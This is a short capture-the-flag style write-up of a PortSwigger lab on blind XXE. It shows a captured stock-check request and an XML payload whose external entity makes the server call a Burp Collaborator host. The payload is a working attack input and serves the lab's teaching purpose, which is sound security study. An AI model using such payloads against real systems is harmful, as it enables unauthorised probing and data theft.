Blind XXE with out-of-band interaction
https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction
This lab has a “Check stock” feature that parses XML input but does not display the result.
You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Writeup
Section titled “Writeup”Check stock request
POST /product/stock HTTP/2Host: 0a3500c90401471bd1fc72e3008500f1.web-security-academy.netCookie: session=V0EKdKHguXIHlllnhcIDXtWlD2CkWAoVUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0Accept: */*Accept-Language: en-GB,en;q=0.5Accept-Encoding: gzip, deflate, brReferer: https://0a3500c90401471bd1fc72e3008500f1.web-security-academy.net/product?productId=1Content-Type: application/xmlContent-Length: 112Origin: https://0a3500c90401471bd1fc72e3008500f1.web-security-academy.netSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originPriority: u=0Te: trailers
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>banana</productId><storeId>1</storeId></stockCheck>XML value is not reflected in the response.
HTTP/2 400 Bad RequestContent-Type: application/json; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 20
"Invalid product ID"Payload for out-of-band xxe
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://gau2yglkb5cd6y4jqxekmb9v1m7ev4jt.oastify.com"> ]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>Request to collaborator